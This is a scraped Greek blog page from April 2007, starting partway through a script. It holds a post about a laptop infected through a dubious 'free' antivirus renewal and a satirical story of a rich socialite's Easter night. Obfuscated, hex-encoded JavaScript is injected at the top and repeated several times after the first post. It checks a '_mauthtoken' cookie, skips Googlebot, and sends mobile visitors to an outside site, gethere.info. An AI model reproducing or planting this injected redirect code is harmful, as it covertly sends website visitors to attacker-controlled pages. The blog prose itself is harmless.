os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Απρίλιος 10, 2007

«ιώσεις»

Filed under: Uncategorized — thelastrealanwnymous @ 8 :41 πμ

Έχετε τις καλύτερες ευχές μου , χρόνια πολλά σε όλους και δεν σας κρύβω οτι είμαι ιδιαίτερα συγκινημένος που είμαι και παλι εδώ μαζί σας.

Έλλειψα λίγες μέρες σε διακοπές και εκεί δυστυχώς κόλλησα μια «ίωση» στο λαπτοπ .

Είναι ένας ιος που κάθε πέντε λεπτά κάνει επανεκίνηση το σύστημα . Εκεί που είσαι αμέριμνος η οθόνη γίνεται μπλε με  λευκα γράμματα , που υποτίθεται ότι είναι οδηγίες στα αγγλικά για να επιλύσεις το πρόβλημα. Όμως τελικά δεν προλαβαίνεις να διαβάσεις τίποτε γιατί το σύστημα κάνει επανεκίνηση.

Αυτά λοιπόν , κάθε πέντε λεπτά επανεκίνηση και μου την έδωσε τελικά τον παράτησα και μόλις επέστρεψα τον «έκανα εισαγωγή» για εξετάσεις.

Τελικά τα κατάφερα και να μαι πάλι εδώ , με πολύ διαθεση , γιατί σας το ξαναλέω ότι μου λείψατε .

Το ιστορικό είναι ότι είχα αντιβάιρους ει βι τζι και κάποιος  φίλος ανέλαβε να μου κανει φριι ανανεώση μπαίνοντας σε ένα ασχετο σάιτ. Τα υπόλοιπα τα ξέρετε. Το σύμπερασμα είναι ότι μάλλον δεν υπάρχουν φριι ανανεώσεις.

Τελικά λειτούργησα «εκδικητικά» προς την ει βι τζι και έβαλα άλλη μάρκα αντιβάιρους.  🙂

…και πάλι χρόνια πολλά  var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Απρίλιος 2, 2007

Ανάσταση με στυλ !

Filed under: Uncategorized — thelastrealanwnymous @ 12 :22 μμ

Δεν μπορούσαμε να κάνουμε Ανάσταση στη Μητρόπολη. Είναι παράλογο πλέον να μη μπορεί να παρκάρει η λίμο απ’ έξω και ακόμα πιο παράλογο να συνωστίζεται όλος αυτός ο κόσμος και να πρέπει να περάσεις ανάμεσά τους και να κινδυνεύουν τα καινούρια σου ρούχα να γίνουν πυροτέχνημα και τα ολοκαίνουρια «μπίμπλος σου» να ποδοπατηθούν.

Πήγαμε με τη Τίνα σ’ αυτό το πανέμορφο ερημικό εκκλησάκι πάνω στους λόφους και πήγαμε και κάπως αργούτσικα δηλαδή 12 παρά πέντε, γιατί αν δεν φτάσεις αργά πρώτον δεν κάνεις εντύπωση και δεύτερον ξεχνάνε για πάντα τι φορούσες.

Δεν δεχτήκαμε να μας φέρει ο σοφέρ του ντάντι μου με τη λίμο γιατί πήρα τη καινούρια ανοιχτή CLK που υπάρχει στο σπίτι (σ’ αυτό το λευκό χρώμα του γάλακτος) και άσκησα βέτο να μη τη πειράξει κανείς και κυρίως ο μικρός μου αδελφός που αυτό τον καιρό φοράει όλα αυτά τα ξεβαμμένα και γρατσουνισμένα και τραυματισμένα τζιν και συχνάζει σ’ αυτά τα κλαμπ που αν εμφανιστείς με κάμπριο σου βγάζουν το καπέλο από τους παρκαδόρους μέχρι τους μπάρμαν και φυσικά όλα αυτά τα χαζοκόριτσα με τα ξεβαμμένα τζιν φουστάκια που από όλα τα σημεία τους ξεπροβάλουν δαντέλες και κεντημένα υφάσματα και φοράνε σύνολο κουστουμάκι ή ταγιεράκι τζιν και είναι και οι μπότες τους τζιν και όλο το σύνολο στοιχίζει 100 ευρώ και νοιώθουν πολύ σικ για να τη πέσουν στον αδελφό μου που κάθε τόσο γνωρίζει και κάποια τέτοια και δεν μπορεί ακόμα να καταλάβει γιατί δεν γεμίζει το κενό του (αυτό που νοιώθει μέσα του) και είναι καλά μόνο αν οδηγεί με το στροφόμετρο στο κόκκινο και όλη η παραλιακή γίνεται δική του αλλά και πολύ επικίνδυνη όμως.

Πήγαμε με τη Τίνα στο πάρα πέντε για να φθάσουμε τελευταίοι και να μας δουν όλοι. Ναι δεν θα το πιστέψετε το εκκλησάκι είχε …παρκαδόρο και πλησιάσαμε πάρα πολύ στο προαύλιο πριν μας πάρει το αμάξι και …ναι κατέβηκα πρώτος πατώντας το χαλίκι με τα καινούρια μπίμπλος μου, μόλις αγορασμένα για 300 ευρώ, κοστούμι Αρμάνι με μαζεμένα τα μανίκια και αθλητικό φανελάκι από μέσα και πήγα στο πλάι για να ανοίξω τη πόρτα στη Τίνα και την έπιασα από το χέρι για να βγει και φορούσε ένα εκπληκτικό μικρό μαύρο φόρεμα και μαύρα λεοπάρ μιούλ αλλά το κλου είναι οι λαμπάδες μας, θαλασσί εγώ και ροζ η Τίνα και φυσικά έχουμε στις λαμπάδες μας τι άλλο; …Το Φοίβο και την Αθηνά. Ήταν δική μου έμπνευση και πίεσα τη μητέρα μου να μας κάνει η μοδίστρα της ρούχα από παγιέτες, γαλάζιες για το Φοίβο και ροζ για την Αθηνά και δεν έχει κανείς απόψε Φοίβο και Αθηνά και μάλιστα πήγαμε στο Τόνυ’ς όπου αγοράσαμε τις βέρες μας (λευκόχρυσος με πολλά μπριγιάν ) – με την Τίνα αρραβωνιαστήκαμε πριν από δύο εβδομάδες με βέρες του Τόνυ – και φυσικά ζητήσαμε από τον Τόνυ που αυτός μας κάλεσε σ’ αυτή την «πριβέ ανάσταση», δεύτερες βέρες για το Φοίβο μου και την Αθηνά της που η μοδίστρα της μητέρας μου τις στερέωσε στα άγαρμπα δάχτυλά τους και όλοι, μα όλοι, μα όλοι, κοιτάζουν τις λαμπάδες μας και κανείς άλλος δεν έχει Φοίβο και Αθηνά απόψε και σχεδόν όλοι σπεύδουν να μας δώσουν φωτιά και για να δούνε τα κουκλιά μας από κοντά και πολύ φοβάμαι όμως ότι …δεν έχουν έρθει όλοι ακόμα δυστυχώς, ο ίδιος ο Τόνυ δεν είναι εδώ και αυτός συνηθίζει να έρχεται ακόμα και στα δικά του πάρτι τελευταίος.

Εκφράζω όλες αυτές τις αμφιβολίες, αν κάναμε την εντύπωση που ήθελα όταν σταματάει το αυτοκίνητο της Μάρας που φθάνει με το καινούριο της τεκνό που παρεμπιπτόντως είναι και σοφέρ της απόψε, πολύ ηλιοκαμένος και σχετικά γυμνασμένος με τέλειο πουκάμισο και εφαρμοστό παντελόνι, ο τύπος είναι ένα τυπικότατο ζιγκολό και η Μάρα που δεν θα χάσει ποτέ το χιούμορ της φοράει πουκάμισο και παντελόνι Μιγιάκι, και τα δύο από πολύ τσαλακωμένο ύφασμα με τη μέθοδο Μιγιάκι και δεν θα το πιστέψετε έχει σκουλαρίκια μικρά ατμοσίδερα από στράς και ασήμι, δαχτυλίδι με μία μυτερή, τριγωνική, υπερβολικά μεγάλη πέτρα σε σχήμα ατμοσίδερου και φυσικά δεν θα πιστέψετε ούτε αυτό: …φοράει πολύ χοντροκομμένα σαμπό με πολύ παχιά σόλα σε σχήμα ατμοσίδερου και αυτά. Το λατρεύω αυτό το κορίτσι, έχει φοβερό χιούμορ και ξέρει να φτιάχνει κλίμα σε μια παρέα. Θα μπορούσα να ζω μαζί της χρόνια και να τη λατρεύω για πάντα, αλλά τα ερωτικά της ήταν πάντα ένα δράμα. Ποτέ δεν ήξερε τι ήθελε η Μάρα με το υπέροχο κόκκινο μαλλί της απόψε δεμένο σε αυστηρό κότσο και τα απίθανα πράσινα μάτια. Το ζιγκολό της κρατάει μια λιτή γαλάζια λαμπάδα ενώ η Μάρα, η απίθανη Μάρα κρατάει ροζ με Φοίβο και Αθηνά μαζί και τους δύο αγκαλιασμένους και φυσικά και οι δύο φοράνε τι άλλο; …χοντροκομμένα παπούτσια – ατμοσίδερα. Περιττό να σας πω πόσο τσαλακωμένα είναι τα ρούχα τους με το στυλ Μιγιάκι. Θέλω πάρα πολύ να γελάσω με τη Μάρα, θέλω να τη σηκώσω στα χέρια μου, όλοι γύρω μας όταν συνειδητοποιούν τι φοράει γελάνε ασταμάτητα… αλλά έχω θυμώσει με τη κυρία που ανέλαβε τα κουκλιά μας που φαίνεται να κελάηδησε πολύ το στοματάκι της και φοβάμαι ότι όλοι θα καταφθάσουν με Φοίβο και Αθηνά.

Σταματάει τώρα η Ζ3 BMW της Φάνυ. Εγωκεντρική, κακιά και σαδίστρια. Στην προηγούμενη ζωή της πρέπει να ήταν άντρας. Κουβαλάει μαζί της εκείνο τον «μπούλη» που οι γονείς του έχουν εργοστάσιο πλαστικών, χοντρός σαν βαρελάκι, πολύ ερωτευμένος μαζί της, κι ας του βγάζει το λάδι, φοράει πάντα μεγάλα νούμερα κοστούμια με γραβάτα και καρφίτσα και εκείνη ντυμένη με κοστούμι Ντιόρ σε πολύ αυστηρή γραμμή και στο κεφάλι φοράει μπούργκα… ναι καλά ακούσατε μπούργκα με μία μικρή παραλλαγή στα μάτια είναι κομμένη και έχει εκείνα τα διάφανα Ντόλτσε Γκαμπάνα γυαλιά που βλέπεις άνετα και τη νύχτα και στα κλαμπ και σε σκοτεινούς χώρους και παντού. Κρατάνε κι αυτοί Φοίβο και Αθηνά και η «Αθηνά της» φοράει το μονόπετρο που της χάρισε εκείνος ζητώντας της το χέρι. Τα κουκλιά είναι ντυμένα με μαύρα κοστούμια όπως και η ιδιοκτήτρια τους και φυσικά όλες οι κυρίες πέφτουν πάνω της για να τη συγχαρούν που τη ζήτησε σε γάμο ο «μπούλης».

Η άνοιξη με μια γλυκιά ψύχρα απόψε, σαν να προσπαθεί να τσιτώσει το δέρμα μας, σαν να θέλει να μας φέρει ρίγη και ανατριχίλες και αγκαλιάζω τη Τίνα και έχω ξεχάσει την προδοσία και ξέρω πως μπορώ πάντα να φαντάζομαι ποιο είναι το τρέντυ, χωρίς να μου το ψιθυρίσει κανένας σχεδιαστής και θα ήθελα πάρα πολύ να τη φιλήσω τώρα, εδώ, σ’ αυτά τα λίγα δευτερόλεπτα που έχει σταματήσει ο χρόνος και δεν έρχεται κανείς τώρα και είναι δώδεκα και πέντε και ο Τόνυ που οργάνωσε τη βραδιά αργεί κι άλλο. Ο αέρας έχει αυτό το άρωμα της γύρης χιλιάδων λουλουδιών που προσπαθούν μ’ αυτή την αξεπέραστη μέθοδο της φύσης να προσελκύσουν, να κάνουν πιο δυνατή την έλξη του άλλου φύλου, ο αέρας έχει αυτό το μεθυστικό, είναι ίσως η μοναδική αιτία που αξίζει να έχεις κάμπριο, τα κορίτσια ούτως ή άλλως αν είναι σπορ το αμάξι τρελαίνονται, αλλά αυτό το κλίμα αυτή η ατμόσφαιρα τα ανοιξιάτικα βράδια… πολλές φορές σκέφτομαι ότι όλα αυτά τα τραγούδια του Σινάτρα γράφτηκαν σ’ ένα κάμπριο… εκείνες τις… τότε ατελείωτες αμερικανικές νύχτες.

Οι καλεσμένοι του Τόνυ είναι διατεθειμένοι να κάνουν εντύπωση, ειδικά απόψε που υπάρχει ενδιαφέρον με τον Φοίβο και την Αθηνά και γι αυτό ακόμα καθυστερούν και βλέπω ότι καθυστερεί και το «Χριστός Ανέστη» εδώ στο μικρό μας εκκλησάκι και κανείς άλλος δεν είναι εδώ πέρα από τη μεγάλη παρέα του Τόνυ και τώρα φθάνει η εκκεντρική, εύθραυστη Σεσίλια που η αδελφή της εισάγει αυτό το εκπληκτικό γυναικείο άρωμα που απευθύνεται σε πολύ μη μου άπτου κυρίες και έχει επηρεαστεί πολύ από τη διαφήμιση γιατί οι τρεις σωματοφύλακές της την κουβαλάνε σαν εύθραυστη πορσελάνινη κούκλα από το αυτοκίνητο ως εμάς και εκείνη έχει λαμπάδα Αθηνά που η «Αθηνά της» κρατάει στο χέρι αυτό το μικροσκοπικό κινητό που λάνσαρε πρόσφατα η εταιρεία του ντάντι της σε κόκκινο χρώμα ενώ οι τρεις μπόντιγκαρντ κρατάνε τρεις Φοίβους με μαύρα κινητά, επίσης μικροσκοπικά και κανείς δεν συγκρατείται πλέον και όλοι τη χειροκροτούμε, έχει περάσει σώμα και πρόσωπο μ’ αυτή τη λευκή σκόνη που δίνει στο δέρμα της μια απόχρωση καθαρής πορσελάνης και πλέον εδώ έχει διαρρεύσει σε όλους ότι δική μου ιδέα ήταν οι λαμπάδες με Φοίβο και Αθηνά και πολλοί από τους καλεσμένους νόμισαν ότι αυτό ήταν το θέμα του πασχαλινού πάρτι, γιατί ο Τόνυ μας έχει καλεσμένους μετά στην έπαυλη του για να δοκιμάσουμε τη φοβερή μαγειρίτσα της καινούριας μαγείρισσάς του από την Ουγγαρία – φερμένη κατευθείαν από τη Βουδαπέστη, από ένα ακριβό ξενοδοχείο όπου πληρωνόταν ψίχουλα – και κάποιες άλλες εκπλήξεις.

Φθάνει ακόμη μία λίμο και δεν είναι ούτε αυτή του Τόνυ και κατεβαίνει το ζευγάρι με τις μεγαλύτερες εισαγωγές ακριβών κρυστάλλων και γυαλιών από τη Σκανδιναβία. Είναι και οι δύο ντυμένοι στα λευκά, φοράνε και οι δύο αυτά τα «λευκά» γυαλιά με τους ντεγκραντέ φακούς και μη χάσετε με τίποτε το Φοίβο και την Αθηνά τους που φοράνε ειδική παραγγελία ίδια γυαλιά με τα αφεντικά τους που νομίζω ότι είναι με υπογραφή Τζον Γκαλιάνο.

Και επιτέλους φθάνει ο Τόνυ. Τα παιδιά που κρατάνε τόση ώρα με υπομονή το σκοινί, χτυπάνε με λύσσα τη καμπάνα, ο ιερέας από τη μικρή εξέδρα ψάλλει το «Χριστός Ανέστη» πέφτουν και κάποια βεγγαλικά και ο Τόνυ βγαίνει από τη λίμο του και κρατώντας αγκαλιά τη Σάντρα έρχονται να πάρουν το άγιο φως από τις λαμπάδες μας. Είναι απλά ντυμένοι στα λευκά, ξεχωρίζει στο χέρι του Τόνυ το νέο μοντέλο Βασερόν ρολόι του, ενώ η Σάντρα κλείνει το πουκάμισό της μπροστά με μία τεράστια καρφίτσα με αγριολούλουδα φτιαγμένα από πάρα πολλά διαμάντια και φυσικά κανείς δεν το πιστεύει και ο Φοίβος και η Αθηνά τους έχουν διαμαντένια μάτια με ασύλληπτα τεράστιες πέτρες, πρέπει αυτά τα κουκλιά απόψε να φοράνε τουλάχιστον είκοσι καράτια σε διαμάντι, μας αγκαλιάζουν και χαρίζουν σε όλους το φιλί της αγάπης, η νύχτα είναι υπέροχη, το «Χριστός Ανέστη» ηχεί στα αυτιά μας μ’ αυτόν τον όμορφο και απλό τρόπο που ακουγόταν όταν είμαστε παιδιά. Η Τίνα δίπλα μου δείχνει ευτυχισμένη και σε λίγο θα είναι ακόμα περισσότερο γιατί οι εκπλήξεις δεν τελειώνουν εδώ, γιατί ο Τόνυ αυτός ο αιρετικός τύπος που ξεκίνησε από σχεδιαστής κοσμημάτων και βρέθηκε με δικό του οίκο, ο άνθρωπος που θα μπορούσε να σχεδιάσει σχεδόν οτιδήποτε, οπουδήποτε, όπως μία χρυσή ζώνη–φίδι που ξερνάει έναν εμετό από διαμαντόσκονη στον αφαλό της κοπέλας που τη φοράει, κάνει τώρα σινιάλο στους σωματοφύλακές του που περιμένουν στο σκοτάδι και φέρνουν αυτά τα σπάνια αυγά με σχέδια από στρασάκια και τσουγκρίζουμε και το πιο δυνατό αυγό είναι της Τίνας το οποίο ο Τόνυ τής το ανταλλάσσει εκείνη τη στιγμή με ένα σπάνιο αντικέ αυγό, πανάκριβο, από την προσωπική του συλλογή εξαγοράζοντας έτσι τη «δύναμη» του αυγού της Τίνας που είναι πολύ χαρούμενη πλέον και με φιλάει για πολύ ώρα στο στόμα. Κάπως έτσι έχουν τα πράγματα, οι πολύ επιτυχημένοι άνθρωποι κάποια στιγμή γίνονται υπερβολικά προληπτικοί.

Τότε ο Τόνυ δίνει το σύνθημα για να ακολουθήσουμε το αυτοκίνητό του, είμαστε περίπου είκοσι ζευγάρια που κορνάροντας, βάζοντας δυνατά τα cd, αναπνέοντας αυτό το υπέροχο διαπεραστικό αεράκι φτιάχνουμε μια μακριά φωτεινή γραμμή που κατηφορίζει σαν φίδι στους λόφους για να μας απορροφήσει κάποια στιγμή η φωτεινή φωλιά που είναι το σπίτι του Τόνυ.

Υπάρχει παντού κρυφός φωτισμός ανάμεσα στα δέντρα και μας τυλίγει μια ονειρική ατμόσφαιρα και αφήνουμε τα αυτοκίνητα για να πλησιάσουμε με τα πόδια στο σπίτι, κρατάω τη Τίνα σφικτά από το χέρι και πλησιάζουμε σε ένα έτοιμο στρωμένο πολύ μακρόστενο μοναστηριακό τραπέζι, όπου μια σειρά από αναμμένα κεριά χαρίζουν το γαλήνιο φως τους στο λιτό δείπνο μας με μαγειρίτσα και στυφό κόκκινο κρασί ειδική παραγγελία από γνωστή κάβα στα Τέμπη και είναι το απόλυτο κρασί που ταιριάζει με τη μαγειρίτσα. Φυσικά μας σερβίρουν σεμνές κοπέλες ντυμένες καθολικές καλόγριες και η μαγειρίτσα είναι ψιλοκομμένο κατσικάκι με χορταρικά γιατί ο Τόνυ φοβάται όλες αυτές τις ιστορίες με τα εντόσθια των ζώων και τις ασθένειες που κουβαλάνε.

